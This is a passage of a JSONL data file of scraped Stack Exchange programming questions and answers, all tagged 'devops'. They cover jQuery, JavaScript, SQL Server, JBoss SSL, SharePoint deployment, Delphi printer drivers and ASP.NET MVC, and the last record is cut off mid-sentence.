{"id": "hf_eb8a38b9f848", "question": "<p>I am using Spring Forms for my web application. For nested properties, the form tag generates the input elements having id / name in form of .</p>\n\n<p>For example, Person is the command class and Address is contained into its address field then the city element would be,</p>\n\n<pre><code>&lt;input type=\"text\" id=\"address**.**city\" name=\"address**.**city\" /&gt;\n</code></pre>\n\n<p>now, the problem is whenever I try to get its value using jQuery,</p>\n\n<pre><code>$(\"#address.city\").val();\n</code></pre>\n\n<p>jQuery fails to select any appropriate element !</p>\n\n<p>Please let me know any solution.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n$(\"#address\\\\.city\").val();\n```\n```\nFrom\nthe documentation\n:\nNote: if you wish to use any of the meta-characters described above as a literal part of a name, you must escape the character with two backslashes (\n```\n\\\n```\n). For example:\n```\n```\n#foo\\\\:bar\n#foo\\\\[bar\\\\]\n#foo\\\\.bar\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.563145"}
{"id": "hf_dc9bb0d69198", "question": "<p>Given an object:</p>\n<pre><code>let myObject = {\n  &quot;ircEvent&quot;: &quot;PRIVMSG&quot;,\n  &quot;method&quot;: &quot;newURI&quot;,\n  &quot;regex&quot;: &quot;^http://.*&quot;\n};\n</code></pre>\n<p>How do I remove the property <code>regex</code> to end up with the following <code>myObject</code>?</p>\n<pre><code>let myObject = {\n  &quot;ircEvent&quot;: &quot;PRIVMSG&quot;,\n  &quot;method&quot;: &quot;newURI&quot;\n};\n</code></pre>\n", "question_body": "", "answer": "To remove a property from an object (mutating the object), you can do it like this:\n```\n```\ndelete myObject.regex;\n// or,\ndelete myObject['regex'];\n// or,\nvar prop = \"regex\";\ndelete myObject[prop];\n```\n```\nDemo\n```\n```\nvar myObject = {\n    \"ircEvent\": \"PRIVMSG\",\n    \"method\": \"newURI\",\n    \"regex\": \"^http://.*\"\n};\ndelete myObject.regex;\n\nconsole.log(myObject);\n```\n```\nFor anyone interested in reading more about it, Stack Overflow user\nkangax\nhas written an incredibly in-depth blog post about the\n```\ndelete\n```\nstatement on their blog,\nUnderstanding delete\n. It is highly recommended.\nIf you'd like a\nnew\nobject with all the keys of the original except some, you could use\ndestructuring\n.\nDemo\n```\n```\nlet myObject = {\n  \"ircEvent\": \"PRIVMSG\",\n  \"method\": \"newURI\",\n  \"regex\": \"^http://.*\"\n};\n\n// assign the key regex to the variable _ indicating it will be unused\nconst {regex: _, ...newObj} = myObject;\n\nconsole.log(newObj);   // has no 'regex' key\nconsole.log(myObject); // remains unchanged\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.615890"}
{"id": "hf_df115ca7a4c8", "question": "<p>I want to write a program for this: In a folder I have <em>n</em> number of files; first read one file and perform some operation then store result in a separate file. Then read 2nd file, perform operation again and save result in new 2nd file. Do the same procedure for <em>n</em> number of files. The program reads all files one by one and stores results of each file separately. Please give examples how I can do it.</p>\n", "question_body": "", "answer": "```\n```\nimport sys\n\n# argv is your commandline arguments, argv[0] is your program name, so skip it\nfor n in sys.argv[1:]:\n    print(n) #print out the filename we are currently processing\n    input = open(n, \"r\")\n    output = open(n + \".out\", \"w\")\n    # do some processing\n    input.close()\n    output.close()\n```\n```\nThen call it like:\n```\n./foo.py bar.txt baz.txt\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.653680"}
{"id": "hf_caa8822f113d", "question": "<p>We've currently got four web servers in a farm generating IIS web logs about 100Mb per day. These can be compressed pretty effieciently down to somewhere around 5% of their size.</p>\n\n<p>We are planning to use waRmZip to move them off the servers and onto a SAN. After a week or so we can be confident we don't have any technical issues to investigate so the only other thing would be using them for trend analysis as a compliment to Google Analytics.</p>\n\n<p>What retention periods do people recommend? Are there any legal requirements to keep this data?</p>\n", "question_body": "", "answer": "Legal requirements will depend on your country, how much you're logging, and quite possibly the nature of your business. Talk to your company's lawyers - legal advice on SO is likely to be worth what you pay for it.\nIf you're only storing 5MB per day, you should be able to store them for basically as long as you want without worrying on the\ntechnical\nfront.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.695650"}
{"id": "hf_d9bcbcc93fc9", "question": "<p>By default the SQL Server comes with the Langauge set to \"English (United States)\", setting the date format to mm/dd/yy instead of the date format I want it in, which is Australian and has a date format such as dd/mm/yy.</p>\n\n<p>Is there an option in the Server Management Studio / Configuration tools where I can set the locale of the SQL Server, which will prevent the DateTime fields from being formatted in US date format?</p>\n\n<p>If not, how can I convert it when I am using a SQL query such as (forgive me if there is incorrect syntax, I made it up on the spot):</p>\n\n<pre><code>Dim dc As New SqlCommand(\"INSERT INTO hello VALUES (@Date)\", cn)\ndc.Parameters.Add(New SqlParameter(\"Date\", System.DateTime.Now))\n</code></pre>\n\n<p>Many thanks in advance. :)</p>\n", "question_body": "", "answer": "have no idea what is the format in \"down under\"\ndd/mm/yyyy hh:mm:ss ?\nif yes, that date is the British/French annotation, so all you need to do is:\n```\n```\nINSERT INTO hello VALUES convert(datetime, @Date + ' 00:00:00', 103)\n```\n```\nor\n```\n```\nINSERT INTO hello VALUES convert(datetime, @Date, 103)\n```\n```\nif you actually place the time\nfor more info,\ncheck Books online on MSDN\nto get the correct Code number.\neven in Selects I always use this, no matter what's in SQL (cause I tend to use Hosting SQL and there I can't change the formats), like:\n```\n```\nSELECT myColumn FROM myTable WHERE myDateField >= convert(datetime, @Date + '00:00:00', 103)\n```\n```\nhope it helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.719167"}
{"id": "hf_4c78c1f137c8", "question": "<p>I have my J2EE application deployed into a JBossAS. My Application has to respond to two different hostnames (<a href=\"https://foo.com/myApp\" rel=\"nofollow noreferrer\">https://foo.com/myApp</a> and <a href=\"https://bar.com/myApp\" rel=\"nofollow noreferrer\">https://bar.com/myApp</a>). It is the same instance of the app serving those two hostnames.</p>\n\n<p>But I don't know how to configure the keystores. I need different keystores for each hostname. Is there a way to tie a virtual host in JBoss' server.xml to a specific connector?</p>\n\n<p>Or do I have to use two different IP-addresses and create a connector for each?</p>\n\n<p>A solution that does not require a second IP-address would be greatly appreciated.</p>\n", "question_body": "", "answer": "With SSL you have to use two different I.P. addresses if you wish to use different SSL certificates. This isn't a shortcoming in Tomcat/JBoss, it is just the reality of the protocol.\nI can't remember the technical reason off the top of my head (Google knows), but it comes down to the server not being able to read the domain name until it has decoded the incoming SSL request.\nTo use two different keystores you will need to define two different connectors (using different I.P. addresses or ports) in the jbossweb-tomcat55.sar/server.xml file. This will get your SSL certificates working, but if you only have one I.P. your second certificate will need to be setup on a non-standard port.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.743337"}
{"id": "hf_fa11ff31b8b4", "question": "<p>I'm writing an app in C# (.net 3.5) and I have a question about class design: </p>\n\n<p>I'd like to create a class which accesses a file (read, write) and provides its content to the users (instanciators) of the class. The most common operation on an instance will be to retrieve a certain value from the file. The actual read and write (io) operations are faily expensive so I'd like to keep the file data in memory and let all instances access this data. The class is located in an assembly that is used from various applications simultaniously, so I guess I should be worrying about thread safety.</p>\n\n<p>How do I design this with respect to thread-safety and unit-testability (for unit-tests, different inputfiles must be used than in operational code)? Any help is greatly appreciated.</p>\n", "question_body": "", "answer": "Firstly, make your class implement an appropriate interface. That way, clients can test their behaviour without needing real files at all.\nTesting the thread safety is hard - I've never seen anything which is really useful on that front, though that's not to say the tools aren't out there.\nFor unit testing your class, I'd suggest that if possible it should work with a general stream rather than just a file. Then you can embed different test files in your test assembly, and refer to them with\nGetManifestResourceStream\n. I've done this several times in the past, with great success.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.818895"}
{"id": "hf_b7ab2f7924c0", "question": "<p>I'm using a web service that returns a dataset. in this dataset there are 5 table, let's say table A, B, C, D, E. I use table A.</p>\n\n<p>So </p>\n\n<pre><code>DataTable dt = new DataTable()\ndt = dataset.Table[\"A\"]\n</code></pre>\n\n<p>Now in this datatable there are columns a1,a2,a3,a4,a5,a6,a7.</p>\n\n<p>Let's say I only want to get columns a3 and a4 then bind it to my datagrid.</p>\n\n<p>How do I do this?</p>\n", "question_body": "", "answer": "Ignore the fact that you have more data than you need. Set\n```\nAutoGenerateColumns\n```\nto\n```\nfalse\n```\n. Create\n```\nBoundColumns\n```\nfor\n```\na3\n```\nand\n```\na4\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.842637"}
{"id": "hf_fc7e0d7b0727", "question": "<p>In db2 a query with a 'with ur' clause allows the query to be an uncommitted read and so does the 'with nolock' clause in mysql. Is there such an option in oracle too... If not why??</p>\n", "question_body": "", "answer": "Tom provides a great answer to this:\nOn Transaction Isolation Levels\nHe says:\nThe READ UNCOMMITTED\n  isolation level allows dirty reads.\n  Oracle Database doesn't use dirty\n  reads, nor does it even allow them.\n  The basic goal of a READ UNCOMMITTED\n  isolation level is to provide a\n  standards-based definition that allows\n  for nonblocking reads.\n...\nNow, a database that allowed a dirty\n  read ... not only does it return the\n  wrong answer, but also it returns ... [an answer] ... that never existed in the table.\n  In a multiuser database, a dirty read\n  can be a dangerous feature.\n  Personally, I've never seen the\n  usefulness of it...\nThe point here is that dirty read is\n  not a feature; rather, it's a\n  liability. In Oracle Database, it's\n  just not needed. You get all of the\n  advantages of a dirty read—no\n  blocking—without any of the incorrect\n  results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.904039"}
{"id": "hf_b24d0afcadbd", "question": "<p>I've created a jQuery wee plugin for myself which takes care of showing, hiding and submitting a form to give in-place editing. Currently I have several of these on a page which function independently and I am happy. However, I'm thinking that an 'Edit All' might be useful. I'd therefore want to be able to access all instances of the plugin within the page and access their show/hide/validate/submit functions in unison. Is there a way to do this?</p>\n", "question_body": "", "answer": "Hmmm I guess I could create an array of instances...\n```\n```\nvar plugins = new Array();\n\nplugins.push($('first_editable_section').pluginThing());\nplugins.push($('second_editable_section').pluginThing());\n```\n```\nand access them through that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.966121"}
{"id": "hf_0f85c596f1bc", "question": "<p>i know that i can get stacktrace by using Thread.getAllStackTraces()(it returns Map, but clear does not work). When I run recursion method i can get exception because of stacktrace being too big, is there any way to clear it?</p>\n", "question_body": "", "answer": "It's not the stack trace that is causing your problem, it's the stack itself.  Every time you call a method, information gets put on the stack that allows you to return to the calling method.  If you recurse enough, eventually you fill all the space on the stack (which is bound by a maximum size) and your program stops.  The stack trace simply shows you your history of calls.  You probably have an infinite recursion going on and need to find a way to stop it before your program fails.  Either there is an error in your algorithm or you need to find a way to solve it differently within the bounds of the memory available to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.063094"}
{"id": "hf_a3f528b47f6d", "question": "<p>How can I tell if an App is ASP.NET 2.0 or ASP.NET 1.1. This is in C#</p>\n\n<p>I don't have the source code and I  don't have access to IIS Manager. But I can ftp and check the ASPX files. Any Ideas?</p>\n", "question_body": "", "answer": "if you can get an error message to show it will tell you at the bottom of the page what version of the framework is in use.\nor, if you could upload a file, you could upload an aspx page containing code to output the framework version:\n```\n```\n<%@ Page Language=\"C#\" EnableSessionState=\"False\" EnableViewState=\"False\" Trace=\"False\" Debug=\"False\" %>\n\n<script language=\"C#\" runat=\"server\">\n\nprotected void Page_Load(object s, EventArgs e)\n{\n    Response.Write(System.Environment.Version);\n}\n</script>\n```\n```\nthis was just typed in, there could be syntax or other code errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.086563"}
{"id": "hf_3bddf741810f", "question": "<p>I took a wsp file, and did my <strong>stsadm -o addsolution</strong> like usual.  Then I went into <em>central administration->solution management</em> and it showed up just fine.  Then I deployed the web part, no problems so far.</p>\n\n<p>The problem is when I go to add it to the webpart gallery (<em>Web Part Gallery: New Web Parts</em>) usually the web part is in the list, I check the box next to it and click <strong>populate gallery</strong> but it is not showing up in the list?  Could I be missing something in my manifest.xml to cause this?  I just wrote and deployed another web part this <em>exact</em> same way and it went fine.  Also, I wrote a dummy webpart that does nothing but print \"working\" and tried it with that getting the same results.  </p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "I had sometime same behaviour. Finally we wrote a cmd-tool, which run \"stsadm - o addsolution\" and then add to web part gallery all xml files for web parts.\nThere is source ( little-bit edited ):\n```\n```\nstring cmd_StsAdm = @\"C:\\Program files\\Common files\\Microsoft Shared\\web server extensions\\12\\BIN\\stsadm.exe\";\nstring url_Site = \"http://localhost\";\nstring url_Web = \"http://localhost\";\nif ( string.IsNullOrEmpty( url_Web ) ) { url_Web = url_Web; }\n\nConsole.WriteLine( \"Deleting sharepoint solution\" );\nstring args_DeleteSolution = string.Format( \"-o deletesolution -name \\\"{0}\\\" -override\", startInfo.fileNameWsp );\nShellWait( cmd_StsAdm, args_DeleteSolution );\n\nstring filePathWsp = \"**** path to wsp file ****\";\nConsole.WriteLine( \"Adding sharepoint solution\" );\nstring args_AddSolution = string.Format( \"-o addsolution -filename \\\"{0}\\\"\", filePathWsp );\nShellWait( cmd_StsAdm, args_AddSolution );\n\nConsole.WriteLine( \"Deploy sharepoint solution\" );\nstring args_DeploySolution = \"-o deploysolution -name \\\"{0}\\\" -local -allowGacDeployment -url \\\"{1}\\\" -force\";\nargs_DeploySolution = string.Format( args_DeploySolution, startInfo.fileNameWsp, url_Web );\nShellWait( cmd_StsAdm, args_DeploySolution );\n\nint counter = 0;\nforeach ( CWebPartVytvoreniInfo wpRslt in solutionInfo.WebParts ) {\n    counter++;\n    string msg = string.Format( \"Aktivace web part {0} - {1} z {2}\", wpRslt.Info.Nazev, counter, solutionInfo.WebParts.Count );\n    Console.WriteLine( msg );\n    string args_ActivateFeature = \"-o activatefeature -id {0} -url {1}\";\n    args_ActivateFeature = string.Format( args_ActivateFeature, wpRslt.Info.ID, url_Site );\n    ShellWait( cmd_StsAdm, args_ActivateFeature );\n}\n\nConsole.WriteLine( \"Connecting to sharepoint site\" );\nusing ( Microsoft.SharePoint.SPSite site = new Microsoft.SharePoint.SPSite( url_Site ) ) {\n    Microsoft.SharePoint.SPList ctg_WebParts = site.GetCatalog( Microsoft.SharePoint.SPListTemplateType.WebPartCatalog );\n\n    counter = 0;\n    foreach ( WebPartInfo wpInfo in solutionInfo.WebParts ) {\n        counter++;\n        string dirPath = System.IO.Path.Combine( wpInfo.DirectoryPath );\n        string fileName = wpRslt.Info.Nazev + \".webpart\";\n        string filePath = System.IO.Path.Combine( dirPath, fileName );\n\n        string msg = string.Format( \"Uploading file '{0}' - {1} z {2}\", fileName, counter, solutionInfo.WebParts.Count );\n        Console.WriteLine( msg );\n        using ( System.IO.FileStream fstrm = OtevritSoubor( filePath ) ) {\n            ctg_WebParts.RootFolder.Files.Add( fileName, fstrm, true );\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.123828"}
{"id": "hf_f7d99035a0fb", "question": "<p>How can I set the font used by the FLVPlaybackCaptioning component for subtitles?  Using the style property of the textarea does nothing, and using a TextFormat makes the text go blank, even though the font had been embedded.</p>\n", "question_body": "", "answer": "It seems the font, as well as the other properties of the text, are specified in the XML file where the subtitles are read (this is from the\ndocumentation\n):\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n  <tt xml:lang=\"en\" xmlns=\"http://www.w3.org/2006/04/ttaf1\"  xmlns:tts=\"http://www.w3.org/2006/04/ttaf1#styling\">\n      <head>\n          <styling>\n              <style id=\"1\" tts:textAlign=\"right\"/>\n              <style id=\"2\" tts:color=\"transparent\"/>\n              <style id=\"3\" style=\"2\" tts:backgroundColor=\"white\"/>\n              <style id=\"4\" style=\"2 3\" tts:fontSize=\"20\"/>\n          </styling>\n      </head>\n      <body>\n           <div xml:lang=\"en\">\n              <p begin=\"00:00:00.50\" dur=\"500ms\">Four score and twenty years ago</p>\n              <p begin=\"00:00:02.50\"><span tts:fontFamily=\"monospaceSansSerif,proportionalSerif,TheOther\"tts:fontSize=\"+2\">our forefathers</span> brought forth<br /> on this continent</p>\n              <p begin=\"00:00:04.40\" dur=\"10s\" style=\"1\">a <span tts:fontSize=\"12 px\">new</span> <span tts:fontSize=\"300%\">nation</span></p>\n              <p begin=\"00:00:06.50\" dur=\"3\">conceived in <span tts:fontWeight=\"bold\" tts:color=\"#ccc333\">liberty</span> <span tts:color=\"#ccc333\">and dedicated to</span> the proposition</p>\n              <p begin=\"00:00:11.50\" tts:textAlign=\"right\">that <span tts:fontStyle=\"italic\">all</span> men are created equal.</p>\n     <p begin=\"15s\" style=\"4\">The end.</p>\n          </div>    \n      </body>\n  </tt>\n```\n```\nSo maybe the component doesn't want you overriding those?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.183712"}
{"id": "hf_615e10a7e737", "question": "<p>What is the difference between <strong><em>anonymous methods</em></strong> of C# 2.0 and <strong><em>lambda expressions</em></strong> of C# 3.0.?</p>\n", "question_body": "", "answer": "The MSDN page on anonymous methods explains it\nIn versions of C# before 2.0, the only\n  way to declare a delegate was to use\n  named methods. C# 2.0 introduced\n  anonymous methods and in C# 3.0 and\n  later, lambda expressions supersede\n  anonymous methods as the preferred way\n  to write inline code. However, the\n  information about anonymous methods in\n  this topic also applies to lambda\n  expressions. There is one case in\n  which an anonymous method provides\n  functionality not found in lambda\n  expressions. Anonymous methods enable\n  you to omit the parameter list, and\n  this means that an anonymous method\n  can be converted to delegates with a\n  variety of signatures. This is not\n  possible with lambda expressions. For\n  more information specifically about\n  lambda expressions, see Lambda\n  Expressions (C# Programming Guide).\nAnd regarding lambda expressions\n:\nA lambda expression is an anonymous function that can contain expressions and statements, and can be used to create delegates or expression tree types.\n  All lambda expressions use the lambda operator =>, which is read as \"goes to\". The left side of the lambda operator specifies the input parameters (if any) and the right side holds the expression or statement block. The lambda expression x => x * x is read \"x goes to x times x.\" This expression can be assigned to a delegate type as follows:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.234471"}
{"id": "hf_ff716455c54b", "question": "<p>Is it possible to expose an API in a .NET application by embedding a scripting language like IronPython?</p>\n\n<p>How is it done?</p>\n", "question_body": "", "answer": "I haven't used it personally, but you should look at\nVisual Studio Tools for Applications\nI'm not sure if Iron Python is supported as a language for it or not, but that would be the easiest path to enable your application to be programmable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.258540"}
{"id": "hf_25783792bd7e", "question": "<p>Are C# enums typesafe?</p>\n\n<p>If not what are the implications? </p>\n", "question_body": "", "answer": "Yes they are.\nThe following is from\nhttp://www.csharp-station.com/Tutorials/Lesson17.aspx\nEnums are strongly typed constants. They are essentially unique types that allow you to assign symbolic names to integral values. In the C# tradition, they are strongly typed, meaning that an enum of one type may not be implicitly assigned to an enum of another type even though the underlying value of their members are the same. Along the same lines, integral types and enums are not implicitly interchangable. All assignments between different enum types and integral types require an explicit cast.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.307522"}
{"id": "hf_6e9203fafc4d", "question": "<p>How can I have a view render a partial (user control) from a different folder?\nWith preview 3 I used to call RenderUserControl with the complete path, but whith upgrading to preview 5 this is not possible anymore.\nInstead we got the RenderPartial method, but it's not offering me the functionality I'm looking for.</p>\n", "question_body": "", "answer": "Just include the path to the view, with the file extension.\nRazor:\n```\n```\n@Html.Partial(\"~/Views/AnotherFolder/Messages.cshtml\", ViewData.Model.Successes)\n```\n```\nASP.NET engine:\n```\n```\n<% Html.RenderPartial(\"~/Views/AnotherFolder/Messages.ascx\", ViewData.Model.Successes); %>\n```\n```\nIf that isn't your issue, could you please include your code that used to work with the RenderUserControl?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.354853"}
{"id": "hf_44c0663b9d45", "question": "<p>When I plug my HP Laserjet 3015, Windows detects the correct model and then tries to install the appropriate drivers.</p>\n\n<p>How can I detect the model of connected printer(s)? I don't want to use the list of installed printers because a Zebra printer can be installed with a Generic/Text only driver.</p>\n\n<p>I'm a Delphi and C# programmer, so any tips in any language will be appreciated.</p>\n", "question_body": "", "answer": "Recently I made a little demo with this. Just put a\n```\nTComboBox\n```\nand a\n```\nTMemo\n```\non a Form and replace the code with this:\n```\n```\nunit Unit1;\n\ninterface\n\nuses\n  Windows, StdCtrls, Classes, Controls, Forms;\n\ntype\n  TForm1 = class(TForm)\n    ComboBox1: TComboBox;\n    Memo1: TMemo;\n    procedure ComboBox1Change(Sender: TObject);\n    procedure FormCreate(Sender: TObject);\n  private\n    { Private declarations }\n  public\n    { Public declarations }\n  end;\n\nvar\n  Form1: TForm1;\n\nimplementation\n\n{$R *.dfm}\n\nuses\n  Printers, WinSpool, SysUtils;\n\ntype\n  _DRIVER_INFO_6A = record\n    cVersion: DWORD;\n    pName: PAnsiChar;             \n    pEnvironment: PAnsiChar;      \n    pDriverPath: PAnsiChar;       \n    pDataFile: PAnsiChar;         \n    pConfigFile: PAnsiChar;       \n    pHelpFile: PAnsiChar;         \n    pDependentFiles: PAnsiChar;   \n    pMonitorName: PAnsiChar;      \n    pDefaultDataType: PAnsiChar;  \n    pszzPreviousNames: PAnsiChar;\n    ftDriverDate: TFileTime;\n    dwlDriverVersion: Int64;\n    pszMfgName: PAnsiChar;\n    pszOEMUrl: PAnsiChar;\n    pszHardwareID: PAnsiChar;\n    pszProvider: PAnsiChar;\n  end;\n  TDriverInfo6A = _DRIVER_INFO_6A;\n  PDriverInfo6A = ^TDriverInfo6A;\n  PDriverInfo6 = PDriverInfo6A;\n\nprocedure TForm1.FormCreate(Sender: TObject);\nbegin\n  ComboBox1.Items.Assign(Printer.Printers);\n  ComboBox1.ItemIndex := 0;\n  ComboBox1Change(nil);\nend;\n\nfunction FileTimeToDateTime(ft: TFileTime): TDateTime;\nvar\n  st: TSystemTime;\n  lt: TFileTime;\nbegin\n  FillChar(st, SizeOf(st), 0);\n  FillChar(lt, SizeOf(lt), 0);\n  FileTimeToLocalFileTime(ft, lt);\n  FileTimeToSystemTime(lt, st);\n  result := SystemTimeToDateTime(st);\nend;\n\nprocedure TForm1.ComboBox1Change(Sender: TObject);\nvar\n  hPrinter: THandle;\n  PrtName: String;\n  DriverInfo: PDriverInfo6;\n  dwNeeded: DWORD;\nbegin\n  Memo1.Clear;\n  PrtName := Combobox1.Text;\n  OpenPrinter(PChar(PrtName), hPrinter, nil);\n  DriverInfo := nil;\n  try\n    GetPrinterDriver(hPrinter, nil, 6, DriverInfo, 0, dwNeeded);\n    GetMem(DriverInfo, dwNeeded);\n    try\n      if GetPrinterDriver(hPrinter, nil, 6, DriverInfo, dwNeeded, dwNeeded) then begin\n        Memo1.Lines.Add('cVersion: ' + IntToStr(DriverInfo.cVersion));\n        Memo1.Lines.Add('pName: '+StrPas(DriverInfo.pName));\n        Memo1.Lines.Add('pEnvironment: '+StrPas(DriverInfo.pEnvironment));\n        Memo1.Lines.Add('pDriverPath: '+StrPas(DriverInfo.pDriverPath));\n        Memo1.Lines.Add('pDataFile: '+StrPas(DriverInfo.pDataFile));\n        Memo1.Lines.Add('pConfigFile: '+StrPas(DriverInfo.pConfigFile));\n        Memo1.Lines.Add('pHelpFile: '+StrPas(DriverInfo.pHelpFile));\n        Memo1.Lines.Add('pDependentFiles: '+StrPas(DriverInfo.pDependentFiles));\n        Memo1.Lines.Add('pMonitorName: '+StrPas(DriverInfo.pMonitorName));\n        Memo1.Lines.Add('pDefaultDataType: '+StrPas(DriverInfo.pDefaultDataType));\n        Memo1.Lines.Add('pszzPreviousNames: '+StrPas(DriverInfo.pszzPreviousNames));\n        Memo1.Lines.Add('ftDriverDate: '+DateTimeToStr(FileTimeToDateTime(DriverInfo.ftDriverDate)));\n        Memo1.Lines.Add('dwlDriverVersion: '+IntToStr(DriverInfo.dwlDriverVersion));\n        Memo1.Lines.Add('pszMfgName: '+StrPas(DriverInfo.pszMfgName));\n        Memo1.Lines.Add('pszOEMUrl: '+StrPas(DriverInfo.pszOEMUrl));\n        Memo1.Lines.Add('pszHardwareID: '+StrPas(DriverInfo.pszHardwareID));\n        Memo1.Lines.Add('pszProvider: '+StrPas(DriverInfo.pszProvider));\n      end else\n        Memo1.Lines.Add('No Info needed = ' + IntToStr(dwNeeded));\n    finally\n      FreeMem(DriverInfo);\n    end;\n  finally\n    ClosePrinter(hPrinter);\n  end;\nend;\n\nend.\n```\n```\nedit: removed the unnecessary function\n```\nGetDriverNameByOSPrinterName\n```\nBTW: In\n```\npName\n```\nyou have the Name of the Driver not the Name of the Printer. The Printername is changeable in Windows, so if you want go sure, use the Printerdrivername.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:04.415591"}
{"id": "hf_c3e0b771a722", "question": "<p>What issues or refactoring did you have to do when you upgraded from ASP.NET MVC Preview 5 to the newly released <a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=a24d1e00-cd35-4f66-baa0-2362bdde0766&amp;displaylang=en&amp;tm\" rel=\"nofollow noreferrer\">Beta</a> version?</p>\n", "question_body": "", "answer": "I'm about to do this myself.  Here's the list of changes from the readme:\nChanges Made Between CodePlex Preview 5 and Beta\nChanged the default validation messages to be more end-user friendly.\nRenamed CompositeViewEngine to AutoViewEngine.\nAdded a Url property to Controller of type UrlHelper. This makes it convenient to generate routing-based URLs from within a controller.\nAdded the ActionNameSelectorAttribute abstract base class, which serves as the base type for ActionNameAttribute. By inheriting from this base attribute class, you can create custom attributes that participate in action selection by name.\nAdded a new ReleaseView method to IViewEngine that allows custom view engines to be notified when a view is done rendering. This is useful for cleanup or for view-pooling scenarios.\nRenamed the ControllerBuilder method DisposeController to ReleaseController to fit with the pattern that is established for view engines.\nRemoved most of the methods on the HtmlHelper class, converting them to extension methods of the HtmlHelper class instead. These methods exist in a new namespace (System.Web.Mvc.Html). If you are migrating from Preview 5, you must add the following element to the namespaces section of the Web.config file:\n```\n<add namespace=\"System.Web.Mvc.Html\"/>\n```\nThis makes it possible for you to completely replace our helper methods with your own.\nChanged the default model binder (DefaultModelBinder) to handle complex types. The IModelBinder interface has also been changed to accept a single parameter of type ModelBindingContext.\nAdded a new HttpVerbs enumeration that contains the most commonly used HTTP verbs (GET, POST, PUT, DELETE, HEAD). Also added a constructor overload to AcceptVerbsAttribute that accepts the enumeration. The enumerated values can be combined. Because it is possible to respond to HTTP 